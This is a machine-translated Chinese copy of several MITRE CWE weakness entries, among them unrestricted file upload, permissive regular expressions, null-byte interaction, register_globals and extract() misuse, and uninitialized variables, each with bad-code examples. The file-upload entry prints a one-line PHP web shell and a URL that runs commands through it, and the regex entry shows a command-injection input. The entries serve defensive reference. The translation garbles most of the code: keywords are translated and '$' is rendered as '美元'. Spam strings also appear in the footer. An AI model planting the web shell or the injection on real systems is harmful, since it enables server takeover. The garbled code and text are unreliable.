此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关的视图”研究概念”(cwe - 1000)
相关观点“软件开发”(cwe - 699)
该清单显示了给定的弱点可以可能的地区出现。这些可能是为特定命名的语言,操作系统,架构、模式、技术、或一个类这样的平台。列出的平台是随着频率的出现疲态实例。
语言 Ruby患病率(待定) ASP.NET患病率(待定) PHP患病率(待定) Python患病率(待定) 类:不是特定于语言的患病率(待定)
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
cwe - 616:上传文件的完整识别变量(PHP)
视图定制的信息:
PHP应用程序使用一个老的方法处理上传文件通过引用的四个全局变量设置为每个文件(例如varname美元,美元varname_size, varname_name美元,美元varname_type)。这些变量可以被攻击者覆盖,导致应用程序处理未经授权的文件。
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关的视图”研究概念”(cwe - 1000)
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
示例1 截至2006年,“四个全局”的方法可能是在急剧下降,但年长的PHP应用程序可能会有这个问题。 在“四个全局”方法中,PHP设置以下4全局变量(依赖于应用程序的“varname”):
(坏的代码)
例如语言:PHP
$ varname =临时文件在本地计算机的名称
$ varname_size =文件的大小 $ varname_name =客户提供的原始文件的名字 $ varname_type =文件的MIME类型 示例2 “全球美元带有_file存在的PHP 4.1.0(使用$ HTTP_POST_FILES相反如果使用早期版本)。这些数组将包含所有上传文件信息”。
(坏的代码)
例如语言:PHP
带有_file美元[' userfile ']['名字']——原始文件名从客户端
带有_file美元[' userfile '] [' tmp_name ']——在服务器上文件的临时文件名 * *注意:userfile的web表单的字段名;这可能是不同的。
这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
cwe - 453:不安全的默认变量初始化
视图定制的信息:
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关的视图”研究概念”(cwe - 1000)
该清单显示了给定的弱点可以可能的地区出现。这些可能是为特定命名的语言,操作系统,架构、模式、技术、或一个类这样的平台。列出的平台是随着频率的出现疲态实例。
语言 PHP(有时流行) 类:不是特定于语言的患病率(待定)
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
示例1 这段代码试图从一个POST请求登录用户使用凭证:
(坏的代码)
例如语言:PHP
/ / $ user和$从POST请求通过自动设置 如果(login_user(用户,通过美元)){
$ authorized = true; }… 如果授权($){
generatePage (); }因为美元的授权变量没有初始化,PHP将自动设置授权任何美元价值包含在POST请求如果启用了register_globals。攻击者可以发送一个POST请求与一个意想不到的第三值“授权”设置为“真正的”没有提供有效身份证件和获得授权状态。 这是一个固定的版本:
(坏的代码)
例如语言:PHP
$ user = $ _POST['用户”);
通过美元= $ _POST['通过']; $ authorized = false; 如果(login_user(用户,通过美元)){
$ authorized = true; }… 这段代码可以避免这个问题,初始化授权变量假美元,明确检索的登录凭证$ _POST变量。无论如何,register_globals绝不应该启用和禁用默认在当前版本的PHP。
这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
cwe - 626:零字节交互错误(毒Null字节)
视图定制的信息:
一个空字节(NUL字符)可以有不同的含义在表征或语言。例如,它是一个字符串结束符标准C库,但Perl和PHP字符串不把它作为一个终结者。跨越两个表示时——比如当Perl和PHP调用底层C功能——这可以产生交互错误意想不到的结果。类似的问题已经报告了ASP。其他翻译用C编写也可能受到影响。 毒药null字节通常是有用的路径遍历的袭击终止硬编码的扩展被添加到一个文件名。它可以在正则表达式在PHP中处理中发挥作用。
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
该清单显示了给定的弱点可以可能的地区出现。这些可能是为特定命名的语言,操作系统,架构、模式、技术、或一个类这样的平台。列出的平台是随着频率的出现疲态实例。
语言 PHP患病率(待定) Perl患病率(待定) ASP.NET患病率(待定)
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
术语
当前使用的零字节“毒药”通常是与此相关的C / Perl / PHP交互错误,但在1998年最初的术语是“从一开始”应用到一个缓冲区溢出涉及一个空字节。
研究的差距
CVE的例子并不多,因为毒零字节是一个设计限制,通常不包括在CVE本身。它通常是作为一个主持人操纵扩大范围的潜在攻击其他漏洞。
cwe - 484:省略Break语句在开关
视图定制的信息:
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关的视图”研究概念”(cwe - 1000)
相关观点“软件开发”(cwe - 699)
该清单显示了给定的弱点可以可能的地区出现。这些可能是为特定命名的语言,操作系统,架构、模式、技术、或一个类这样的平台。列出的平台是随着频率的出现疲态实例。
语言 C患病率(待定) c++患病率(待定) Java患病率(待定) c#患病率(待定) PHP患病率(待定)
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
示例1 在这两个例子中,根据月打印一条消息传递到函数:
(坏的代码)
例如语言:Java
公共空间printMessage (int) {
开关(月){
案例1:打印(" 1 "); 案例2:印刷(“2”); 案例3:印刷(3月); 案例4:打印(4月); 案例5:打印(“可能”); 案例6:打印(6月); 案例7:打印(7月); 例8:打印(8月); 案例9:打印(9月); 例10:打印(10月); 例11:打印(11月); 例12:打印(12月); println(“是一个伟大的月”);
(坏的代码)
例如语言:C
空白printMessage (int) {
开关(月){
案例1:printf (" 1 "); 案例2:printf (" 2 "); 案例3:printf (3); 案例4:printf(4月); 案例5:printff(“可能”); 案例6:printf (" 6 "); 案例7:printf (" 7 "); 例8:printf (" 8 "); 案例9:printf(9月); 例10:printf (" 10 "); 例11:printf (" 11 "); 例12:printf(12月); printf("是一个伟大的月”); 这两个示例不使用break语句在每种情况下,导致意想不到的失败行为。例如,称“printMessage(10)”将导致文本“OctoberNovemberDecember是一个伟大的月”打印出来。
这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
cwe - 625:宽容的正则表达式
视图定制的信息:
这实际上导致regexp接受子字符串匹配的模式,产生部分比较到目标。在某些情况下,这可能会导致其他的弱点。常见的错误包括:
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关的视图”研究概念”(cwe - 1000)
相关观点“软件开发”(cwe - 699)
不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
该清单显示了给定的弱点可以可能的地区出现。这些可能是为特定命名的语言,操作系统,架构、模式、技术、或一个类这样的平台。列出的平台是随着频率的出现疲态实例。
语言 Perl患病率(待定) PHP患病率(待定)
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
示例1 下面的代码将电话号码作为输入,并使用一个正则表达式拒绝无效的电话号码。
(坏的代码)
例如语言:Perl
$电话= GetPhoneNumber ();
如果美元的手机= ~ / \ d + - \ d + /) {
#看起来只有连字符和数字
}系统(“lookup-phone $电话"); 其他{
错误(“畸形数!”); }攻击者可以提供一个参数如:”;ls - l;回声123 - 456”这将通过检查,因为“123 - 456”足以匹配“\ d + - \ d +“正则表达式的一部分。 示例2 这段代码使用正则表达式来验证一个IP字符串之前使用它在一个叫“ping”命令。
(坏的代码)
例如语言:Python
导入子流程
进口再保险 def validate_ip_regex (ip: str):
ip_validator = re.compile (r”((25 (0 - 5) | (2 (0 - 4) | 1 \ d | | (1 - 9)) \ d) \ ? \ b) {4}”)
如果ip_validator.match (ip):
返回的ip 其他:
提高ValueError (“IP地址不匹配有效模式。”)
def run_ping_regex (ip: str):
验证= validate_ip_regex (ip)
# ping命令将八进制zero-prepended IP地址 结果=子流程。调用((“平”,验证)) 打印(结果) 由于正则表达式没有锚(cwe - 777),即无限没有^和$字符,然后将一个0或0 x的IP地址仍将导致匹配正则表达式模式。自从ping命令支持八进制和十六进制将IP地址,它将使用出人意料地有效的IP地址(cwe - 1389)。例如,“0 x63.63.63.63”会被认为相当于“99.63.63.63”。因此,攻击者可能会平系统,攻击者不能直接到达。
这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
cwe - 473: PHP外部变量修改
视图定制的信息:
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关的视图”研究概念”(cwe - 1000)
相关视图”架构概念”(cwe - 1008)
不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
cwe - 434:无限制上传文件与危险的类型
视图定制的信息:
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关的视图”研究概念”(cwe - 1000)
相关观点“软件开发”(cwe - 699)
简化映射的相关视图”缺点漏洞发布”(cwe - 1003)
相关视图”架构概念”(cwe - 1008)
不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
该清单显示了给定的弱点可以可能的地区出现。这些可能是为特定命名的语言,操作系统,架构、模式、技术、或一个类这样的平台。列出的平台是随着频率的出现疲态实例。
语言 ASP.NET(有时流行) PHP(通常是普遍的) 类:不是特定于语言的患病率(待定) 技术 Web服务器(有时流行)
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
示例1 下面的代码将允许用户上传图片到web服务器。驱动形式的HTML代码在用户结束有一个输入字段类型的“文件”。
(好的代码)
例如语言:HTML
< action = " upload_picture形式。php”方法= " post " enctype = " multipart /格式”>
选择一个文件上传: < input type = " file " name = "文件名" / > < br / > < input type = " submit " name =“提交”value = " submit " / > > < /形式 一旦提交,上面的形式向upload_picture发送文件。php web服务器上。PHP将文件存储在一个临时位置,直到检索服务器端代码(或丢弃)。在本例中,文件是搬到一个更永久的照片/目录。
(坏的代码)
例如语言:PHP
/ /定义目标位置的图片 / /上传会得救。 $ target = " / "照片。:$带有_file [' uploadedfile ']['名字']); / /将上传的文件移动到新的位置。 如果函数(带有_file美元[' uploadedfile '] [' tmp_name '],美元目标)) {
回声”已成功上传照片。”; }其他的 {
回声”上传照片时发生了一个错误,请再试一次。”; }上面的代码的问题是没有检查关于正在上传的文件类型。假设照片/可在web文档根,攻击者可以上传文件的名称:
(攻击代码)
malicious.php
因为这个文件名以”。php“它可以由web服务器执行。在这上传文件的内容,攻击者可以使用:
(攻击代码)
例如语言:PHP
< ? php
系统($ _GET [' cmd ']);
? > 这个文件已经安装之后,攻击者可以输入任意命令执行使用一个URL,如:
(攻击代码)
http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l
运行“ls - l命令——或任何其他类型的命令,攻击者想要指定。 示例2 下面的代码演示了无限制上传文件的Java servlet和路径遍历的脆弱性。HTML表单的动作属性是上传文件将请求发送给Java servlet。
(好的代码)
例如语言:HTML
<形式action = " FileUploadServlet " method = " post " enctype = "多部分/格式" >
选择一个文件上传: < input type = " file " name = "文件名" / > < br / > < input type = " submit " name =“提交”value = " submit " / > > < /形式 当提交的Java servlet的doPost方法将接收请求,从Http请求中提取文件的名称标题,读取文件内容从请求和输出文件到本地上传目录。
(坏的代码)
例如语言:Java
公开课FileUploadServlet扩展HttpServlet {
…
保护无效doPost (HttpServletRequest请求,HttpServletResponse响应)抛出ServletException IOException {
response.setContentType (" text / html ");
PrintWriter = response.getWriter (); 字符串contentType = request.getContentType (); / /边界头的起始位置 int印第安纳= contentType.indexOf(“边界= "); 字符串边界= contentType.substring(印第安纳州+ 9); 字符串多义线=新的字符串(); 字符串uploadLocation =新的字符串(UPLOAD_DIRECTORY_STRING);/ /恒定值 / /验证内容类型是多部分表单数据 如果(contentType ! = null & & contentType.indexOf(“多部分/格式”)! = 1){
/ /从Http报头中提取文件名
BufferedReader br = new BufferedReader(新InputStreamReader (request.getInputStream ())); … 多段线= br.readLine (); 字符串文件名= pLine.substring (pLine.lastIndexOf (“\ \”), pLine.lastIndexOf (" \ ")); … / /输出文件到本地上传目录 尝试{
BufferedWriter bw = new BufferedWriter(新FileWriter (uploadLocation +文件名,真的));
(字符串行;(= br.readLine行())!)=零;{
如果(line.indexOf(边界)= = 1){ }/ / for循环的结束
bw.write(线); }bw.newLine (); bw.flush (); bw.close (); }捕捉(IOException特异){…} / /输出成功上传响应的HTML页面 / /输出成功上传响应的HTML页面 其他的 {…}
…
这段代码不执行检查上传文件的类型(cwe - 434)。这可能允许攻击者上传任何可执行文件或其他文件与恶意代码。 此外,BufferedWriter对象的创建主题相对路径遍历(CWE-23)。由于代码不提供检查文件名的头,攻击者可以使用“. ./“序列写文件之外的目的目录。根据执行环境中,攻击者可以指定任意文件编写,导致各种各样的后果,从代码执行,XSS (cwe - 79),或者系统崩溃。
这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
cwe - 470:使用外部控制输入选择类或代码(“不安全的反思”)
视图定制的信息:
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关的视图”研究概念”(cwe - 1000)
相关观点“软件开发”(cwe - 699)
简化映射的相关视图”缺点漏洞发布”(cwe - 1003)
相关观点“七有害的王国”(cwe - 700)
该清单显示了给定的弱点可以可能的地区出现。这些可能是为特定命名的语言,操作系统,架构、模式、技术、或一个类这样的平台。列出的平台是随着频率的出现疲态实例。
语言 Java患病率(待定) PHP患病率(待定) 类:解释(有时流行)
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
示例1 一个常见的原因,程序员使用反射API来实现他们自己的指挥调度。下面的示例显示了一个指挥调度程序,不使用反射:
(好的代码)
例如语言:Java
字符串ctl = request.getParameter (ctl);
工人ao =零; 如果(ctl.equals(“添加”)){
ao = new AddCommand (); }else if (ctl.equals(“修改”)){
ao = new ModifyCommand (); }其他{
把新UnknownActionError (); }ao.doAction(请求); 程序员可能重构代码使用反映如下:
(坏的代码)
例如语言:Java
字符串ctl = request.getParameter (ctl);
类cmdClass =类。forName (ctl +“命令”); 工人ao =(工人)cmdClass.newInstance (); ao.doAction(请求); 重构最初似乎带来了许多优势。有更少的代码行数,if / else块已经完全消除,和现在可以添加新命令类型无需修改调度员的命令。然而,重构允许攻击者实例化实现工人的任何对象的接口。如果调度员的命令仍负责访问控制,然后每当程序员创建一个新类,它实现了工人接口,他们必须记住修改调度程序的访问控制代码。如果不修改访问控制代码,然后一些工人类不会有任何访问控制。 为了解决这个访问控制问题的一个方法是让工人对象负责执行访问控制检查。re-refactored代码的一个例子:
(坏的代码)
例如语言:Java
字符串ctl = request.getParameter (ctl);
类cmdClass =类。forName (ctl +“命令”); 工人ao =(工人)cmdClass.newInstance (); ao.checkAccessControl(请求); ao.doAction(请求); 虽然这是一种进步,它鼓励分散的访问控制方法,使程序员更容易使访问控制错误。这段代码使用反射来还突出了另一个安全问题建立一个指挥调度。攻击者可以为任何类型的对象调用默认构造函数。事实上,攻击者甚至不是约束对象,实现职工接口;系统中任何对象的默认构造函数可以调用。如果对象没有实现职工接口,将抛出一个ClassCastException之前ao的任务,但如果构造函数执行操作,在攻击者的支持工作,将已经完成的损害。尽管这个场景是相对良性的简单产品,在较大的产品复杂性呈指数级增长并不是不合理的,攻击者可能会发现一个构造函数利用攻击的一部分。
这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
cwe - 474:使用功能不一致的实现
视图定制的信息:
的使用不一致的实现会导致行为的变化当代码移植或比程序员希望建立一个不同的环境下,这可能会导致在某些情况下的安全问题。 平台的实现许多功能不同,有时,甚至通过不同版本的相同的平台。实现差异可以包括:
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关的视图”研究概念”(cwe - 1000)
相关观点“软件开发”(cwe - 699)
该清单显示了给定的弱点可以可能的地区出现。这些可能是为特定命名的语言,操作系统,架构、模式、技术、或一个类这样的平台。列出的平台是随着频率的出现疲态实例。
语言 C(通常是普遍的) PHP(通常是普遍的) 类:不是特定于语言的患病率(待定)
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
cwe - 457:使用未初始化的变量
视图定制的信息:
在某些语言如C和c++,默认堆栈变量没有初始化。他们通常包含垃圾数据堆栈的内容记忆之前调用这个函数。攻击者有时可以控制或阅读这些内容。在其他语言或条件,未显式初始化的变量可以给一个默认值,安全问题,这取决于程序的逻辑。未初始化的变量的存在有时可以显示一个排版错误的代码。
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关的视图”研究概念”(cwe - 1000)
相关的视图”方案及质量的措施(2020)”(CWE-1305)
相关的视图”方案及数据保护措施”(cwe - 1340)
不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
该清单显示了给定的弱点可以可能的地区出现。这些可能是为特定命名的语言,操作系统,架构、模式、技术、或一个类这样的平台。列出的平台是随着频率的出现疲态实例。
语言 C(有时流行) c++(有时流行) Perl(通常是普遍的) PHP(通常是普遍的) 类:不是特定于语言的患病率(待定)
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
示例1 这段代码输出一个问候使用信息存储在一个POST请求:
(坏的代码)
例如语言:PHP
如果收取($ _POST['名字'])){
$ nameArray = $ _POST['名字']; }“你好”。美元nameArray['第一次']; 这段代码检查POST数组的名字的是之前设置分配$ nameArray变量。然而,如果数组不是在POST请求,nameArray美元将保持未初始化。这将导致一个错误访问数组时打印问候信息,这可能导致进一步的利用。 示例2 以下switch语句的目的是设置变量的值和bN之前使用:
(坏的代码)
例如语言:C
int, Bn;
开关(ctl) {
案例1:
一个= 0;
bN = 0; 打破; 例0:
=我;
bN =我; 打破; 案例1:
=我+ NEXT_SZ;
bN = i - NEXT_SZ; 打破; 默认值:
一个= 1;
一个= 1; 打破; 重画(bN); switch语句的默认情况下,程序员有意外的价值的两倍。因此,bN将一个未定义的值。大多数未初始化的变量问题导致通用软件可靠性问题,但是如果攻击者可以故意触发使用未初始化的变量,他们可能会发起拒绝服务攻击程序崩溃。在适当的情况下,攻击者可以通过影响控制未初始化变量的值栈上的值之前调用的函数。 示例3 这个例子将在一个未知的条件下,当我离开test_string err_val是相同的值,因为test_string不是初始化(cwe - 456)。根据这个代码段出现(如在一个函数体),test_string可能是随机的,如果是存储在堆或堆栈。如果中声明的变量是静态内存,它可能是零个或NULL。编译器优化这个地址的不可预知性。
(坏的代码)
例如语言:C
char * test_string;
如果(我! = err_val) {
test_string =“Hello World !”; }printf (" % s ", test_string); 当printf (), test_string可能是一个意想不到的地址,所以printf可能打印垃圾字符串(cwe - 457)。 修复这段代码中,有一些方法来确保已正确设置test_string一旦它到达printf ()。 一个解决方案是集test_string前可以接受默认的条件:
(好的代码)
例如语言:C
char * test_string =初“完成”;
如果(我! = err_val) {
test_string =“Hello World !”; }printf (" % s ", test_string); 另一个解决方案是确保每个分支的条件,包括默认的/ else分支,可以确保test_string设置:
(好的代码)
例如语言:C
char * test_string;
如果(我! = err_val) {
test_string =“Hello World !”; }其他{
test_string = "做另一边!”; }printf (" % s ", test_string);
这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
cwe - 621:变量提取错误
视图定制的信息:
例如,在PHP中,提取可用于提供功能类似于register_globals,危险的功能,通常是在生产系统中禁用。调用提取()或import_request_variables()如果没有适当的参数可能允许任意全局变量被覆盖,包括已经。 在其他的解释语言,也可以实现类似的功能,包括自定义语言。
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关的视图”研究概念”(cwe - 1000)
相关观点“软件开发”(cwe - 699)
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
示例1 这段代码使用证书中发送一个POST请求登录用户。
(坏的代码)
例如语言:PHP
/ /用户登录,并设置isAdmin美元真正的如果用户是管理员
函数登录(用户,通过美元){
查询美元= buildQuery(用户,通过美元); }美元mysql_query(查询); 如果(getUserRole(用户)美元= =“Admin”) {
美元isAdmin = true; }美元isAdmin = false; 提取($ _POST); 用户登录(mysql_real_escape_string(美元),mysql_real_escape_string(通过美元)); 提取()的调用将会覆盖现有的任何定义的变量的值之前,在这种情况下isAdmin美元。攻击者可以发送一个POST请求与一个意想不到的第三“isAdmin”等于“真正”的价值,从而获得管理员权限。
这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
更多的信息是可用的,请选择一个不同的过滤器。
|
使用常见的弱点枚举(CWE)和相关的引用从这个网站的使用条款。CWE赞助的美国国土安全部(DHS)网络和基础设施安全机构(CISA)和管理的国土安全系统工程和发展研究所这是由(HSSEDI)manbetx客户端首页(斜方)。版权©2006 - 2023,斜方公司。manbetx客户端首页CWE、水煤浆、CWRAF, CWE标志是斜方公司的商标。manbetx客户端首页 |